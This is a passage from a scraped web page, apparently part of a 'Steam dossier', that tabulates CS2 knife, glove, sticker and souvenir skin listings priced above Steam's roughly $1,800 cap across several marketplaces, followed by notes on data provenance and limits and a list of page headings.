StatTrak™ Navaja Knife | Crimson Web (Factory New)\t1\t2\t$3,086.51\tCSFloat\tabsent\t+$1,286.51\n238\t★ Sport Gloves | Hedge Maze (Well-Worn)\t5\t115\t$3,078.21\tYoupin\tabsent\t+$1,278.21\n239\tSticker | Grim (Gold, Ranked) | Cologne 2026\t1\t2\t$3,077.69\tBUFF\t$13.69\t+$1,277.69\n240\t★ StatTrak™ Karambit | Boreal Forest (Factory New)\t1\t2\t$3,061.83\tCSFloat\tabsent\t+$1,261.83\n241\tNegev | Mjölnir (Well-Worn)\t1\t1\t$3,053.55\tYoupin\tabsent\t+$1,253.55\n242\t★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 2Phase 2\t1\t0\t$3,053.41\tBUFF\tabsent\t+$1,253.41\n243\t★ Sport Gloves | Slingshot (Factory New)\t4\t76\t$3,037.55\tCSFloat\tabsent\t+$1,237.55\n244\tSouvenir M4A1-S | Imminent Danger (Well-Worn)\t1\t1\t$3,000.00\tCSFloat\tabsent\t+$1,200.00\n245\tSouvenir M4A4 | Modern Hunter (Field-Tested)\t2\t2\t$3,000.00\tCSFloat\tabsent\t+$1,200.00\n246\tSticker | mzinho (Gold, Ranked) | Cologne 2026\t2\t5\t$3,000.00\tCSFloat\t$10.54\t+$1,200.00\n247\t★ StatTrak™ Stiletto Knife | Urban Masked (Factory New)\t1\t2\t$3,000.00\tCSFloat\tabsent\t+$1,200.00\n248\tSticker | BnTeT (Gold) | Boston 2018\t1\t1\t$2,999.00\tCSFloat\tabsent\t+$1,199.00\n249\tSouvenir AWP | BOOM (Factory New)\t2\t2\t$2,979.09\tBUFF\tabsent\t+$1,179.09\n250\tSouvenir FAMAS | Neural Net (Factory New)\t1\t1\t$2,979.09\tBUFF\tabsent\t+$1,179.09\n251\tSouvenir USP-S | Black Lotus (Minimal Wear)\t1\t1\t$2,979.09\tYoupin\tabsent\t+$1,179.09\n252\t★ StatTrak™ M9 Bayonet | Gamma Doppler (Minimal Wear) | Phase 4Phase 4\t1\t0\t$2,979.09\tBUFF\tabsent\t+$1,179.09\n253\t★ StatTrak™ Shadow Daggers | Fade (Minimal Wear)\t1\t1\t$2,979.09\tYoupin\tabsent\t+$1,179.09\n254\tSticker | BIT (Gold) | Boston 2018\t2\t6\t$2,979.07\tYoupin\tabsent\t+$1,179.07\n255\tSouvenir AK-47 | Rat Rod (Field-Tested)\t1\t1\t$2,978.94\tBUFF\tabsent\t+$1,178.94\n256\t★ Bayonet | Marble Fade (Factory New) | 1st1st\t3\t5\t$2,978.94\tYoupin\tabsent\t+$1,178.94\n257\t★ Bowie Knife | Crimson Web (Factory New)\t3\t4\t$2,956.90\tCSFloat\tabsent\t+$1,156.90\n258\t★ Sport Gloves | Pandora's Box (Well-Worn)\t5\t116\t$2,942.58\tCSFloat\tabsent\t+$1,142.58\n259\t★ StatTrak™ Paracord Knife | Crimson Web (Factory New)\t3\t5\t$2,904.73\tC5Game\tabsent\t+$1,104.73\n260\t★ StatTrak™ Bayonet | Doppler (Factory New) | Black PearlBlack Pearl\t2\t1\t$2,903.02\tC5Game\tabsent\t+$1,103.02\n261\t★ StatTrak™ Karambit | Marble Fade (Factory New) | 3rd3rd\t3\t4\t$2,877.42\tCSFloat\tabsent\t+$1,077.42\n262\t★ Sport Gloves | Arid (Factory New)\t4\t29\t$2,868.86\tC5Game\tabsent\t+$1,068.86\n263\t★ StatTrak™ Butterfly Knife | Fade (Minimal Wear)\t4\t6\t$2,830.12\tYoupin\tabsent\t+$1,030.12\n264\tSouvenir AK-47 | The Empress (Factory New)\t2\t3\t$2,813.45\tBUFF\tabsent\t+$1,013.45\n265\tSouvenir M4A1-S | Hyper Beast (Factory New)\t1\t1\t$2,813.45\tBUFF\tabsent\t+$1,013.45\n266\t★ Sport Gloves | Nocts (Factory New)\t5\t54\t$2,802.72\tC5Game\tabsent\t+$1,002.72\n267\t★ Stiletto Knife | Case Hardened (Well-Worn) | Blue GemBlue Gem\t1\t1\t$2,800.34\tC5Game\tabsent\t+$1,000.34\n268\t★ StatTrak™ Skeleton Knife | Doppler (Minimal Wear) | RubyRuby\t2\t0\t$2,799.00\tCSFloat\tabsent\t+$999.00\n269\tStatTrak™ AK-47 | Fire Serpent (Minimal Wear)\t5\t176\t$2,760.60\tCSFloat\tabsent\t+$960.60\n270\t★ Specialist Gloves | Crimson Kimono (Well-Worn) | Phase 6Phase 6\t2\t1\t$2,748.21\tBUFF\tabsent\t+$948.21\n271\tSticker | cobra (Gold, Ranked) | Cologne 2026\t2\t3\t$2,739.48\tSkinport\t$598.17\t+$939.48\n272\t★ StatTrak™ Butterfly Knife | Doppler (Minimal Wear) | Phase 3Phase 3\t2\t1\t$2,735.30\tC5Game\tabsent\t+$935.30\n273\t★ Moto Gloves | Spearmint (Minimal Wear)\t5\t425\t$2,708.73\tYoupin\tabsent\t+$908.73\n274\tSouvenir Glock-18 | Fade (Factory New)\t3\t3\t$2,700.00\tCSFloat\tabsent\t+$900.00\n275\t★ StatTrak™ Talon Knife | Doppler (Factory New) | Black PearlBlack Pearl\t3\t1\t$2,700.00\tCSFloat\tabsent\t+$900.00\n276\t★ Butterfly Knife | Doppler (Factory New) | Phase 4Phase 4\t5\t21\t$2,694.32\tYoupin\tabsent\t+$894.32\n277\t★ StatTrak™ Talon Knife | Case Hardened (Battle-Scarred) | Blue GemBlue Gem\t1\t1\t$2,693.94\tC5Game\tabsent\t+$893.94\n278\tSouvenir M4A4 | Poseidon (Factory New)\t2\t2\t$2,681.18\tBUFF\tabsent\t+$881.18\n279\t★ StatTrak™ Butterfly Knife | Doppler (Factory New) | Phase 4Phase 4\t4\t3\t$2,675.00\tCSFloat\tabsent\t+$875.00\n280\t★ StatTrak™ Talon Knife | Doppler (Factory New) | RubyRuby\t5\t2\t$2,664.42\tBUFF\tabsent\t+$864.42\n281\t★ Talon Knife | Doppler (Factory New) | Black PearlBlack Pearl\t4\t1\t$2,664.38\tYoupin\tabsent\t+$864.38\n282\tSouvenir CZ75-Auto | Honey Paisley (Battle-Scarred)\t1\t1\t$2,648.92\tCSFloat\tabsent\t+$848.92\n283\t★ Butterfly Knife | Doppler (Minimal Wear) | Phase 4Phase 4\t4\t1\t$2,639.83\tCSFloat\tabsent\t+$839.83\n284\t★ Talon Knife | Doppler (Factory New) | RubyRuby\t5\t11\t$2,619.25\tYoupin\tabsent\t+$819.25\n285\tSticker | ShahZaM (Gold) | Boston 2018\t3\t3\t$2,611.72\tSkinport\tabsent\t+$811.72\n286\t★ StatTrak™ Butterfly Knife | Doppler (Minimal Wear) | Phase 1Phase 1\t3\t1\t$2,606.70\tC5Game\tabsent\t+$806.70\n287\t★ StatTrak™ Butterfly Knife | Doppler (Minimal Wear) | Phase 4Phase 4\t3\t1\t$2,606.63\tC5Game\tabsent\t+$806.63\n288\t★ Specialist Gloves | Crimson Kimono (Minimal Wear)\t5\t842\t$2,573.71\tBUFF\tabsent\t+$773.71\n289\t★ Survival Knife | Case Hardened (Minimal Wear) | Blue GemBlue Gem\t1\t1\t$2,562.01\tC5Game\tabsent\t+$762.01\n290\tSticker | compLexity Gaming (Holo) | Katowice 2014\t4\t10\t$2,555.00\tCSFloat\tabsent\t+$755.00\n291\t★ StatTrak™ Butterfly Knife | Doppler (Minimal Wear)\t4\t16\t$2,550.00\tCSFloat\tabsent\t+$750.00\n292\t★ Sport Gloves | Superconductor (Minimal Wear)\t5\t400\t$2,532.22\tYoupin\tabsent\t+$732.22\n293\tSouvenir AK-47 | Case Hardened (Well-Worn) | Tier 3Tier 3\t1\t0\t$2,532.07\tBUFF\tabsent\t+$732.07\n294\tAWP | The Prince (Factory New)\t5\t202\t$2,513.83\tC5Game\tabsent\t+$713.83\n295\tSouvenir AWP | The Prince (Minimal Wear)\t3\t3\t$2,500.00\tCSFloat\tabsent\t+$700.00\n296\tSouvenir USP-S | Para Green (Battle-Scarred)\t1\t1\t$2,500.00\tCSFloat\tabsent\t+$700.00\n297\tStatTrak™ M4A4 | Bullet Rain (Battle-Scarred)\t1\t4\t$2,500.00\tCSFloat\tabsent\t+$700.00\n298\tSticker | seang@res (Gold) | Boston 2018\t1\t1\t$2,500.00\tCSFloat\tabsent\t+$700.00\n299\t★ StatTrak™ Talon Knife | Night Stripe (Factory New)\t1\t1\t$2,500.00\tCSFloat\tabsent\t+$700.00\n300\t★ StatTrak™ Karambit | Marble Fade (Factory New) | 2nd2nd\t3\t4\t$2,498.13\tCSFloat\tabsent\t+$698.13\n301\tAWP | Medusa (Minimal Wear)\t5\t85\t$2,495.64\tSkinport\tabsent\t+$695.64\n302\tM4A1-S | Knight (Factory New)\t5\t106\t$2,494.99\tCSFloat\tabsent\t+$694.99\n303\t★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 3Phase 3\t1\t0\t$2,485.75\tBUFF\tabsent\t+$685.75\n304\t★ StatTrak™ Bowie Knife | Case Hardened (Factory New)\t1\t1\t$2,481.60\tCSFloat\tabsent\t+$681.60\n305\tNegev | Mjölnir (Factory New)\t5\t82\t$2,460.82\tSkinport\tabsent\t+$660.82\n306\t★ Talon Knife | Case Hardened (Minimal Wear) | Blue GemBlue Gem\t1\t5\t$2,457.75\tC5Game\tabsent\t+$657.75\n307\tSouvenir MAG-7 | Carbon Fiber (Factory New)\t1\t1\t$2,419.14\tCSFloat\t$192.14\t+$619.14\n308\tSouvenir M4A1-S | Knight (Factory New)\t5\t99\t$2,407.81\tCSFloat\tabsent\t+$607.81\n309\t★ Talon Knife | Doppler (Minimal Wear) | Black PearlBlack Pearl\t3\t1\t$2,391.94\tCSFloat\tabsent\t+$591.94\n310\t★ Butterfly Knife | Doppler (Minimal Wear) | Phase 3Phase 3\t4\t2\t$2,390.45\tCSFloat\tabsent\t+$590.45\n311\t★ StatTrak™ Bayonet | Doppler (Factory New) | RubyRuby\t5\t3\t$2,388.09\tCSFloat\tabsent\t+$588.09\n312\t★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear) | Phase 4Phase 4\t3\t2\t$2,383.12\tBUFF\tabsent\t+$583.12\n313\t★ StatTrak™ Karambit | Doppler (Minimal Wear) | Phase 2Phase 2\t1\t0\t$2,383.12\tBUFF\tabsent\t+$583.12\n314\tSCAR-20 | Splash Jam (Factory New)\t1\t5\t$2,378.82\tCSFloat\tabsent\t+$578.82\n315\t★ StatTrak™ Karambit | Marble Fade (Factory New) | 4th4th\t2\t1\t$2,366.59\tYoupin\tabsent\t+$566.59\n316\tMP9 | Wild Lily (Factory New)\t5\t102\t$2,360.93\tBUFF\tabsent\t+$560.93\n317\tNegev | Mjölnir (Minimal Wear)\t5\t11\t$2,335.60\tSkinport\tabsent\t+$535.60\n318\t★ Sport Gloves | Amphibious (Factory New)\t4\t114\t$2,333.09\tC5Game\tabsent\t+$533.09\n319\t★ StatTrak™ Butterfly Knife | Lore (Factory New)\t5\t19\t$2,330.07\tSkinport\tabsent\t+$530.07\n320\t★ Karambit | Gamma Doppler (Factory New) | Phase 2Phase 2\t5\t44\t$2,324.41\tCSFloat\tabsent\t+$524.41\n321\t★ Talon Knife | Doppler (Minimal Wear) | RubyRuby\t5\t2\t$2,320.37\tSkinport\tabsent\t+$520.37\n322\t★ StatTrak™ Karambit | Gamma Doppler (Minimal Wear) | Phase 2Phase 2\t4\t3\t$2,320.11\tYoupin\tabsent\t+$520.11\n323\t★ Karambit | Gamma Doppler (Minimal Wear) | Phase 2Phase 2\t4\t2\t$2,308.79\tBUFF\tabsent\t+$508.79\n324\tSticker | HEN1 (Gold) | Boston 2018\t1\t2\t$2,280.07\tCSFloat\tabsent\t+$480.07\n325\t★ StatTrak™ Karambit | Gamma Doppler (Factory New) | Phase 2Phase 2\t5\t5\t$2,275.79\tCSFloat\tabsent\t+$475.79\n326\t★ Butterfly Knife | Doppler (Minimal Wear)\t4\t77\t$2,264.10\tC5Game\tabsent\t+$464.10\n327\t★ Butterfly Knife | Doppler (Minimal Wear) | Phase 1Phase 1\t4\t1\t$2,264.10\tC5Game\tabsent\t+$464.10\n328\tMP9 | Wild Lily (Minimal Wear)\t3\t13\t$2,255.00\tCSFloat\tabsent\t+$455.00\n329\tSouvenir AWP | Medusa (Field-Tested)\t1\t3\t$2,250.00\tCSFloat\tabsent\t+$450.00\n330\t★ StatTrak™ Butterfly Knife | Doppler (Factory New) | Phase 1Phase 1\t4\t3\t$2,248.00\tCSFloat\tabsent\t+$448.00\n331\tMP9 | Wild Lily (Well-Worn)\t1\t1\t$2,234.31\tYoupin\tabsent\t+$434.31\n332\tSticker | Lekr0 (Gold) | Boston 2018\t3\t4\t$2,234.31\tBUFF\tabsent\t+$434.31\n333\tSticker | somebody (Gold) | Boston 2018\t2\t7\t$2,234.31\tBUFF\tabsent\t+$434.31\n334\t★ StatTrak™ Karambit | Marble Fade (Factory New) | 6th6th\t2\t2\t$2,234.31\tYoupin\tabsent\t+$434.31\n335\tNegev | Mjölnir (Field-Tested)\t3\t11\t$2,224.12\tCSFloat\tabsent\t+$424.12\n336\t★ Skeleton Knife | Doppler (Factory New) | Black PearlBlack Pearl\t5\t4\t$2,222.86\tSkinport\tabsent\t+$422.86\n337\tSticker | tarik (Gold) | London 2018\t1\t1\t$2,214.22\tSkinport\tabsent\t+$414.22\n338\t★ StatTrak™ Flip Knife | Doppler (Minimal Wear) | RubyRuby\t1\t1\t$2,205.45\tSkinport\tabsent\t+$405.45\n339\tSouvenir M4A1-S | Knight (Minimal Wear)\t5\t12\t$2,195.00\tCSFloat\tabsent\t+$395.00\n340\tSouvenir AK-47 | Fire Serpent (Factory New)\t1\t2\t$2,190.00\tCSFloat\tabsent\t+$390.00\n341\t★ StatTrak™ Skeleton Knife | Doppler (Factory New) | Black PearlBlack Pearl\t5\t4\t$2,189.16\tCSFloat\tabsent\t+$389.16\n342\t★ Skeleton Knife | Doppler (Minimal Wear) | RubyRuby\t4\t1\t$2,178.31\tCSFloat\tabsent\t+$378.31\n343\t★ Talon Knife | Crimson Web (Factory New)\t4\t5\t$2,174.43\tYoupin\tabsent\t+$374.43\n344\t★ Driver Gloves | Crimson Weave (Factory New)\t4\t38\t$2,171.79\tC5Game\tabsent\t+$371.79\n345\t★ Karambit | Marble Fade (Minimal Wear) | 6th6th\t1\t0\t$2,159.84\tBUFF\tabsent\t+$359.84\n346\t★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 5Phase 5\t1\t0\t$2,159.84\tBUFF\tabsent\t+$359.84\n347\t★ Skeleton Knife | Doppler (Factory New) | RubyRuby\t5\t12\t$2,154.71\tYoupin\tabsent\t+$354.71\n348\t★ Karambit | Marble Fade (Factory New) | 2nd2nd\t4\t28\t$2,150.00\tCSFloat\tabsent\t+$350.00\n349\tAK-47 | Fire Serpent (Factory New)\t5\t180\t$2,121.69\tCSFloat\tabsent\t+$321.69\n350\t★ Karambit | Marble Fade (Factory New) | 3rd3rd\t4\t21\t$2,115.08\tYoupin\tabsent\t+$315.08\n351\t★ Butterfly Knife | Gamma Doppler (Factory New) | Phase 2Phase 2\t5\t81\t$2,114.93\tCSFloat\tabsent\t+$314.93\n352\t★ Butterfly Knife | Fade (Minimal Wear)\t5\t88\t$2,109.80\tCSFloat\tabsent\t+$309.80\n353\t★ StatTrak™ Butterfly Knife | Blue Steel (Factory New)\t3\t4\t$2,100.98\tSkinport\tabsent\t+$300.98\n354\tSouvenir M4A1-S | Welcome to the Jungle (Factory New)\t4\t23\t$2,100.00\tCSFloat\tabsent\t+$300.00\n355\t★ Butterfly Knife | Doppler (Factory New) | Phase 1Phase 1\t5\t26\t$2,100.00\tCSFloat\tabsent\t+$300.00\n356\t★ Karambit | Gamma Doppler (Minimal Wear) | Phase 1Phase 1\t4\t4\t$2,100.00\tCSFloat\tabsent\t+$300.00\n357\t★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear) | Phase 3Phase 3\t2\t1\t$2,100.00\tCSFloat\tabsent\t+$300.00\n358\t★ Bayonet | Gamma Doppler (Minimal Wear) | EmeraldEmerald\t4\t3\t$2,085.36\tC5Game\tabsent\t+$285.36\n359\t★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 4Phase 4\t1\t0\t$2,085.36\tBUFF\tabsent\t+$285.36\n360\t★ StatTrak™ Karambit | Gamma Doppler (Minimal Wear) | Phase 1Phase 1\t4\t1\t$2,085.36\tBUFF\tabsent\t+$285.36\n361\t★ StatTrak™ Karambit | Gamma Doppler (Minimal Wear)\t4\t16\t$2,085.35\tYoupin\tabsent\t+$285.35\n362\t★ StatTrak™ Flip Knife | Doppler (Minimal Wear) | SapphireSapphire\t1\t0\t$2,079.76\tCSFloat\tabsent\t+$279.76\n363\t★ Butterfly Knife | Gamma Doppler (Minimal Wear) | Phase 2Phase 2\t4\t7\t$2,070.20\tCSFloat\tabsent\t+$270.20\n364\tSouvenir Dual Berettas | Duelist (Factory New)\t1\t1\t$2,068.68\tBUFF\tabsent\t+$268.68\n365\tSouvenir M4A4 | Falak (Factory New)\t1\t1\t$2,068.68\tBUFF\tabsent\t+$268.68\n366\t★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear) | Phase 2Phase 2\t2\t0\t$2,060.00\tCSFloat\tabsent\t+$260.00\n367\t★ Driver Gloves | King Snake (Factory New)\t4\t108\t$2,059.81\tCSFloat\tabsent\t+$259.81\n368\tSouvenir Tec-9 | Orange Murano (Battle-Scarred)\t1\t1\t$2,057.78\tCSFloat\tabsent\t+$257.78\n369\t★ Butterfly Knife | Fade (Factory New)\t5\t1,985\t$2,056.38\tCSFloat\tabsent\t+$256.38\n370\t★ StatTrak™ Butterfly Knife | Gamma Doppler (Factory New) | Phase 2Phase 2\t5\t6\t$2,053.00\tCSFloat\tabsent\t+$253.00\n371\t★ StatTrak™ Skeleton Knife | Doppler (Factory New) | RubyRuby\t5\t5\t$2,041.83\tC5Game\tabsent\t+$241.83\n372\t★ StatTrak™ Butterfly Knife | Fade (Factory New)\t5\t229\t$2,036.16\tCSFloat\tabsent\t+$236.16\n373\t★ Sport Gloves | Hedge Maze (Battle-Scarred)\t5\t156\t$2,033.07\tYoupin\tabsent\t+$233.07\n374\t★ Bayonet | Crimson Web (Factory New)\t3\t6\t$2,010.65\tYoupin\tabsent\t+$210.65\n375\t★ StatTrak™ Butterfly Knife | Doppler (Factory New)\t4\t184\t$2,007.90\tCSFloat\tabsent\t+$207.90\n376\t★ StatTrak™ Butterfly Knife | Doppler (Factory New) | Phase 3Phase 3\t4\t14\t$2,007.90\tCSFloat\tabsent\t+$207.90\n377\tSouvenir AK-47 | Gold Arabesque (Factory New)\t4\t121\t$2,000.00\tCSFloat\tabsent\t+$200.00\n378\tSouvenir Desert Eagle | Heat Treated (Factory New)\t2\t2\t$2,000.00\tCSFloat\t$640.00\t+$200.00\n379\tSouvenir USP-S | Printstream (Factory New)\t2\t2\t$2,000.00\tCSFloat\tabsent\t+$200.00\n380\t★ StatTrak™ Bowie Knife | Doppler (Factory New) | Black PearlBlack Pearl\t1\t0\t$2,000.00\tCSFloat\tabsent\t+$200.00\n381\t★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear) | Phase 1Phase 1\t2\t0\t$2,000.00\tCSFloat\tabsent\t+$200.00\n382\t★ StatTrak™ Talon Knife | Doppler (Minimal Wear) | SapphireSapphire\t3\t2\t$2,000.00\tCSFloat\tabsent\t+$200.00\n383\t★ StatTrak™ Huntsman Knife | Freehand (Battle-Scarred)\t1\t20\t$1,999.99\tCSFloat\tabsent\t+$199.99\n384\tSticker | sdy (Gold) | London 2018\t2\t4\t$1,999.00\tCSFloat\tabsent\t+$199.00\n385\t★ Skeleton Knife | Doppler (Minimal Wear) | SapphireSapphire\t4\t1\t$1,990.52\tCSFloat\tabsent\t+$190.52\n386\t★ StatTrak™ Butterfly Knife | Urban Masked (Factory New)\t1\t2\t$1,989.21\tCSFloat\tabsent\t+$189.21\n387\tSouvenir AK-47 | The Empress (Field-Tested)\t1\t1\t$1,986.01\tBUFF\tabsent\t+$186.01\n388\t★ Butterfly Knife | Doppler (Factory New)\t4\t1,833\t$1,975.87\tCSFloat\tabsent\t+$175.87\n389\t★ Butterfly Knife | Doppler (Factory New) | Phase 3Phase 3\t5\t36\t$1,975.87\tCSFloat\tabsent\t+$175.87\n390\tAWP | Medusa (Field-Tested)\t5\t118\t$1,975.00\tCSFloat\tabsent\t+$175.00\n391\t★ StatTrak™ Flip Knife | Doppler (Factory New) | Black PearlBlack Pearl\t2\t0\t$1,958.88\tCSFloat\tabsent\t+$158.88\n392\tSticker | DD (Gold) | Boston 2018\t2\t3\t$1,952.31\tCSFloat\tabsent\t+$152.31\n393\t★ StatTrak™ Butterfly Knife | Case Hardened (Factory New)\t4\t7\t$1,950.00\tCSFloat\tabsent\t+$150.00\n394\t★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear)\t4\t26\t$1,945.00\tCSFloat\tabsent\t+$145.00\n395\tSouvenir AWP | Redline (Well-Worn)\t1\t1\t$1,940.97\tCSFloat\tabsent\t+$140.97\n396\t★ Karambit | Marble Fade (Factory New) | 4th4th\t2\t9\t$1,936.41\tYoupin\tabsent\t+$136.41\n397\tSouvenir AWP | The Prince (Field-Tested)\t2\t3\t$1,936.40\tYoupin\tabsent\t+$136.40\n398\t★ Driver Gloves | Wave Chaser (Factory New)\t4\t35\t$1,936.26\tYoupin\tabsent\t+$136.26\n399\t★ Karambit | Marble Fade (Minimal Wear) | 7th7th\t1\t0\t$1,936.26\tBUFF\tabsent\t+$136.26\n400\tAK-47 | X-Ray (Factory New)\t5\t301\t$1,936.03\tC5Game\tabsent\t+$136.03\n401\tMP9 | Wild Lily (Field-Tested)\t3\t14\t$1,931.61\tCSFloat\tabsent\t+$131.61\n402\tAK-47 | Gold Arabesque (Factory New)\t5\t496\t$1,927.32\tCSFloat\tabsent\t+$127.32\n403\tAWP | The Prince (Minimal Wear)\t5\t129\t$1,921.51\tYoupin\tabsent\t+$121.51\n404\t★ Moto Gloves | Cool Mint (Factory New)\t4\t26\t$1,904.83\tYoupin\tabsent\t+$104.83\n405\t★ Bayonet | Doppler (Factory New) | Black PearlBlack Pearl\t4\t2\t$1,900.00\tCSFloat\tabsent\t+$100.00\n406\tSouvenir M4A4 | Griffin (Factory New)\t1\t1\t$1,893.05\tCSFloat\tabsent\t+$93.05\n407\t★ Sport Gloves | Pandora's Box (Battle-Scarred)\t5\t158\t$1,891.72\tYoupin\tabsent\t+$91.72\n408\t★ StatTrak™ Karambit | Marble Fade (Factory New) | 7th7th\t2\t3\t$1,870.12\tYoupin\tabsent\t+$70.12\n409\t★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 6Phase 6\t1\t0\t$1,861.93\tBUFF\tabsent\t+$61.93\n410\t★ Driver Gloves | Snow Leopard (Factory New)\t4\t51\t$1,850.00\tCSFloat\tabsent\t+$50.00\n411\tSticker | NiKo (Gold) | Krakow 2017\t4\t11\t$1,836.52\tCSFloat\tabsent\t+$36.52\n412\t★ Karambit | Fade (Minimal Wear)\t4\t27\t$1,835.13\tCSFloat\tabsent\t+$35.13\n413\t★ StatTrak™ Bayonet | Urban Masked (Factory New)\t1\t1\t$1,805.55\tCSFloat\tabsent\t+$5.55\n414\tSouvenir Desert Eagle | Code Red (Minimal Wear)\t1\t4\t$1,800.00\tCSFloat\tabsent\t+$0.00\n415\tSouvenir Glock-18 | Twilight Galaxy (Factory New)\t1\t1\t$1,800.00\tCSFloat\tabsent\t+$0.00\n416\t★ Butterfly Knife | Lore (Factory New)\t5\t144\t$1,800.00\tCSFloat\tabsent\t+$0.00\n417\t★ Karambit | Ultraviolet (Factory New)\t3\t7\t$1,800.00\tCSFloat\tabsent\t+$0.00\n418\t★ StatTrak™ Karambit | Gamma Doppler (Factory New) | Phase 1Phase 1\t5\t6\t$1,800.00\tCSFloat\tabsent\t+$0.00\n419\t★ Stiletto Knife | Doppler (Minimal Wear) | Black PearlBlack Pearl\t4\t1\t$1,800.00\tCSFloat\tabsent\t+$0.00\n\nOutbound links open a CSFloat search for the market name, which is the same key every marketplace uses; the cheapest ask itself may sit on a different marketplace, named in the “Where” column. Listings and prices change continuously and were captured on 23 September 2026. “Above Steam cap” is an arithmetic difference, not realised profit. Variant rows (Ruby, Black Pearl, blue gem tiers and so on) are priced separately by the marketplaces and are listed separately here.\n\n09 / provenance and limits\nCheck the calculation\n\nWe expose the local data and the public source. The numerical headline is scoped to CSFloat on the capture date.\n\nValve’s own ceiling and terms\n\nSteam Community Market FAQ ↗ archived 2026-09-21 ↗ states the approximate $1,800 listing maximum. The Subscriber Agreement ↗ archived 2026-09-21 ↗ sets the commercial-use restrictions.\n\nWhere the prices come from\n\nPrices, listing counts and float brackets are taken from the cs2.sh market data API under a paid commercial subscription, using a licensed key. No marketplace was scraped and no marketplace account or credential was used. The provider aggregates BUFF, Youpin, CSFloat, Skinport, C5Game and the Steam Community Market; all figures are USD as returned. Open the provenance manifest ↗ — it records the exact endpoints, capture times and SHA-256 hashes of the raw snapshots, so an independent reader with their own key can pull the same data and recompute every number on this page.\n\nWhat we could not obtain\n\nThe subscription purchased covers current snapshots only. Historical and archive endpoints were not available to us, and no claim about any trend, any past price or any change over time is made on this page. Everything here is a single moment, dated.\n\nThe earlier CSFloat register\n\nThe first version of this exhibit counted 245 categories from a single CSFloat catalogue snapshot dated 20 September 2026: that snapshot remains here ↗. The present register is wider because it spans five marketplaces rather than one. The two are separate captures and must not be added together.\n\nValve's specific enforcement statement\n\nValve's 2016 in-game item trading update ↗ archived 2026-09-21 ↗ addresses gambling operators using OpenID and automated Steam accounts. It is narrower than a ban on every outside marketplace.\n\nInterpretation boundary\n\nThese are offers, not sales. A market name can cover multiple physical items with different float, pattern or sticker details. This register does not measure total market value or Valve’s intent.",
        "headings": [
          {
            "level": 1,
            "text": "Elite Skins Register — The $1,800 Market Ceiling",
            "anchor": "pd-elite_skins--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins"
          },
          {
            "level": 2,
            "text": "The measurable dollar floor",
            "anchor": "pd-elite_skins--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#value"
          },
          {
            "level": 3,
            "text": "Why this is a floor, not an estimate",
            "anchor": "pd-elite_skins--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#value"
          },
          {
            "level": 2,
            "text": "What the limit leaves out",
            "anchor": "pd-elite_skins--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#selected"
          },
          {
            "level": 3,
            "text": "★ Butterfly Knife | Doppler (Factory New)",
            "anchor": "pd-elite_skins--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#selected"
          },
          {
            "level": 3,
            "text": "Sticker | Titan (Holo) | Katowice 2014",
            "anchor": "pd-elite_skins--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#selected"
          },
          {
            "level": 3,
            "text": "Sticker | Reason Gaming (Holo) | Katowice 2014",
            "anchor": "pd-elite_skins--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#selected"
          },
          {
            "level": 3,
            "text": "★ Sport Gloves | Hedge Maze (Factory New)",
            "anchor": "pd-elite_skins--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#selected"
          },
          {
            "level": 3,
            "text": "★ Sport Gloves | Pandora's Box (Field-Tested)",
            "anchor": "pd-elite_skins--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#selected"
          },
          {
            "level": 3,
            "text": "★ Butterfly Knife | Fade (Factory New)",
            "anchor": "pd-elite_skins--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#selected"
          },
          {
            "level": 3,
            "text": "EMS Katowice 2014 Legends",
            "anchor": "pd-elite_skins--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#selected"
          },
          {
            "level": 3,
            "text": "AK-47 | Wild Lotus (Factory New)",
            "anchor": "pd-elite_skins--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#selected"
          },
          {
            "level": 3,
            "text": "StatTrak™ M4A4 | Howl (Factory New)",
            "anchor": "pd-elite_skins--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#selected"
          },
          {
            "level": 3,
            "text": "AWP | Gungnir (Factory New)",
            "anchor": "pd-elite_skins--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#selected"
          },
          {
            "level": 3,
            "text": "AWP | Dragon Lore (Factory New)",
            "anchor": "pd-elite_skins--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#selected"
          },
          {
            "level": 3,
            "text": "★ Sport Gloves | Superconductor (Minimal Wear)",
            "anchor": "pd-elite_skins--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#selected"
          },
          {
            "level": 2,
            "text": "Steam's cap sends price discovery outside Steam",
            "anchor": "pd-elite_skins--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#hidden-economy"
          },
          {
            "level": 3,
            "text": "Steam caps the listing",
            "anchor": "pd-elite_skins--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#hidden-economy"
          },
          {
            "level": 3,
            "text": "Dragon Lore: $10,940.85",
            "anchor": "pd-elite_skins--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#hidden-economy"
          },
          {
            "level": 3,
            "text": "Price and transfer split",
            "anchor": "pd-elite_skins--heading-20",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#hidden-economy"
          },
          {
            "level": 2,
            "text": "The ceiling also catches Dota 2",
            "anchor": "pd-elite_skins--heading-21",
